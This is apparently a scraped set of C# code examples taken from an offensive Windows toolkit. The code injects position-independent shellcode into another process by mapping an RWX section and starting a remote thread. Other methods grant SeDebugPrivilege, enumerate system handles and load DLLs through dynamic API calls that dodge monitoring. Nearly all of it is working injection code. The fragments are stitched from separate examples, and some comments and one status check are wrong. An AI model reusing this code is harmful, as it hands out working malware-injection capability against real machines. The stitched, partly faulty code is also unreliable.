/// <summary>
        /// Allocate the payload in the target process.
        /// </summary>
        /// <author>The Wover (@TheRealWover)</author>
        /// <param name="Payload">The PIC payload to allocate to the target process.</param>
        /// <param name="Process">The target process.</param>
        /// <param name="PreferredAddress">The preferred address at which to allocate the payload in the target process.</param>
        /// <returns>Base address of allocated memory within the target process's virtual memory space.</returns>
        public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress)
        {
            // Get a convenient handle for the target process.
            IntPtr procHandle = Process.Handle;

            // Create a section to hold our payload
            IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes);

            // Map a view of the section into our current process with RW permissions
            SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress,
                                                localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length));

            // Copy the shellcode to the local view
            System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length);

            // Now that we are done with the mapped view in our own process, unmap it
            Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr);

            // Now, map a view of the section to other process. It should already hold the payload.

            SectionDetails newDetails;

            if (PreferredAddress != IntPtr.Zero)
            {
                // Attempt to allocate at a preferred address. May not end up exactly at the specified location.
                // Refer to MSDN documentation on ZwMapViewOfSection for details.
                newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length);
            }
            else
            {
                newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length);
            }
            return(newDetails.baseAddr);
        }
Ejemplo n.º 2
0
        public static void GetSeDebugPrivs()
        {
            bool previous = false;

            Object[]        rtlAdjustPrivsParams = { 20, true, false, previous };
            Native.NTSTATUS status = (Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("ntdll.dll", "RtlAdjustPrivilege", typeof(Delegates.RtlAdjustPrivilege), ref rtlAdjustPrivsParams);
            Console.WriteLine("[+] SeDebugPrivs obtained");
        }
Ejemplo n.º 3
0
        public static IntPtr LoadModuleFromDisk(string DLLPath)
        {
            Native.UNICODE_STRING uModuleName = new Native.UNICODE_STRING();
            Native.RtlInitUnicodeString(ref uModuleName, DLLPath);

            IntPtr hModule = IntPtr.Zero;

            Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
            if (CallResult != Native.NTSTATUS.Success || hModule == IntPtr.Zero)
            {
                return(IntPtr.Zero);
            }

            return(hModule);
        }
Ejemplo n.º 4
0
        /// <summary>
        /// Retrieves all currently active handles for all system processes.
        /// There currently isn't a way to only get it for a specific process.
        /// This relies on NtQuerySystemInformation which exists in ntdll.dll.
        /// </summary>
        /// <returns>Unmanaged IntPtr to the handles (raw data, must be processed)</returns>
        private static IntPtr GetAllHandles()
        {
            int bufferSize = 0x10000;   //initial buffer size of 65536 bytes (initial estimate)
            int actualSize = 0;         //will store size of actual data written to buffer

            //initial allocation
            IntPtr pSysInfoBuffer = Marshal.AllocHGlobal(bufferSize);

            Object[]        funcparams  = { Structs.SYSTEM_INFORMATION_CLASS.SystemHandleInformation, pSysInfoBuffer, bufferSize, actualSize };
            Native.NTSTATUS queryResult = (Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("ntdll.dll", "NtQuerySystemInformation", typeof(Delegates.NtQuerySystemInformation), ref funcparams);
            actualSize = (int)funcparams[3];
            // Keep calling until buffer is large enough to fit all handles
            while (queryResult == Native.NTSTATUS.InfoLengthMismatch)
            {
                //deallocate space since we couldn't fit all the handles in
                Marshal.FreeHGlobal(pSysInfoBuffer);

                //double buffer size (we can't just use actualSize from last call since # of handles vary in time)
                bufferSize = bufferSize * 2;

                //allocate memory with increase buffer size
                pSysInfoBuffer = Marshal.AllocHGlobal(bufferSize);

                //have to redefine here or program crashes, the joy of dynamic invocation :D
                Object[] funcparams2 = { Structs.SYSTEM_INFORMATION_CLASS.SystemHandleInformation, pSysInfoBuffer, bufferSize, actualSize };
                //query for handles
                queryResult = (Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("ntdll.dll", "NtQuerySystemInformation", typeof(Delegates.NtQuerySystemInformation), ref funcparams2);
                actualSize  = (int)funcparams[3];
            }

            if (queryResult == Native.NTSTATUS.Success)
            {
                return(pSysInfoBuffer); //pSystInfoBuffer will be freed later
            }
            else
            {
                //other NTSTATUS, shouldn't happen
                Marshal.FreeHGlobal(pSysInfoBuffer);
                return(IntPtr.Zero);
            }
        }
        /// <summary>
        /// Creates a new Section.
        /// </summary>
        /// <author>The Wover (@TheRealWover)</author>
        /// <param name="size">Max size of the Section.</param>
        /// <param name="allocationAttributes">Section attributes (eg. Win32.WinNT.SEC_COMMIT).</param>
        /// <returns></returns>
        private static IntPtr CreateSection(ulong size, uint allocationAttributes)
        {
            // Create a pointer for the section handle
            IntPtr SectionHandle = new IntPtr();
            ulong  maxSize       = size;

            Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection(
                ref SectionHandle,
                0x10000000,
                IntPtr.Zero,
                ref maxSize,
                Win32.WinNT.PAGE_EXECUTE_READWRITE,
                allocationAttributes,
                IntPtr.Zero
                );
            // Perform error checking on the result
            if (result < 0)
            {
                return(IntPtr.Zero);
            }
            return(SectionHandle);
        }
        /// <summary>
        /// Maps a view of a section to the target process.
        /// </summary>
        /// <author>The Wover (@TheRealWover)</author>
        /// <param name="procHandle">Handle the process that the section will be mapped to.</param>
        /// <param name="sectionHandle">Handle to the section.</param>
        /// <param name="protection">What permissions to use on the view.</param>
        /// <param name="addr">Optional parameter to specify the address of where to map the view.</param>
        /// <param name="sizeData">Size of the view to map. Must be smaller than the max Section size.</param>
        /// <returns>A struct containing address and size of the mapped view.</returns>
        public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData)
        {
            // Copied so that they may be passed by reference but the original value preserved
            IntPtr baseAddr = addr;
            ulong  size     = sizeData;

            uint disp  = 2;
            uint alloc = 0;

            // Returns an NTSTATUS value
            Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection(
                sectionHandle, procHandle,
                ref baseAddr,
                IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
                ref size, disp, alloc,
                protection
                );

            // Create a struct to hold the results.
            SectionDetails details = new SectionDetails(baseAddr, sizeData);

            return(details);
        }
Ejemplo n.º 7
0
        /// <summary>
        /// Create a thread in the remote process.
        /// </summary>
        /// <author>The Wover (@TheRealWover)</author>
        /// <param name="Payload">The shellcode payload to execute in the target process.</param>
        /// <param name="BaseAddress">The address of the shellcode in the target process.</param>
        /// <param name="Process">The target process to inject into.</param>
        /// <returns></returns>
        public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process)
        {
            IntPtr threadHandle = new IntPtr();

            Native.NTSTATUS result = Native.NTSTATUS.Unsuccessful;

            if (api == APIS.NtCreateThreadEx)
            {
                // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
                result = DynamicInvoke.Native.NtCreateThreadEx(
                    ref threadHandle,
                    Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
                    IntPtr.Zero,
                    Process.Handle, BaseAddress, IntPtr.Zero,
                    suspended, 0, 0, 0, IntPtr.Zero
                    );
            }
            else if (api == APIS.RtlCreateUserThread)
            {
                // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
                result = DynamicInvoke.Native.RtlCreateUserThread(
                    Process.Handle,
                    IntPtr.Zero,
                    suspended,
                    IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
                    BaseAddress,
                    IntPtr.Zero, ref threadHandle, IntPtr.Zero
                    );
            }
            else if (api == APIS.CreateRemoteThread)
            {
                uint   flags    = suspended ? (uint)0x00000004 : 0;
                IntPtr threadid = new IntPtr();

                // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
                threadHandle = DynamicInvoke.Win32.CreateRemoteThread(
                    Process.Handle,
                    IntPtr.Zero,
                    0,
                    BaseAddress,
                    IntPtr.Zero,
                    flags,
                    ref threadid
                    );

                if (threadHandle == IntPtr.Zero)
                {
                    return(false);
                }
                handle = threadHandle;
                return(true);
            }

            // If successful, return the handle to the new thread. Otherwise return NULL
            if (result == Native.NTSTATUS.Unsuccessful || result <= Native.NTSTATUS.Success)
            {
                return(false);
            }
            handle = threadHandle;
            return(true);
        }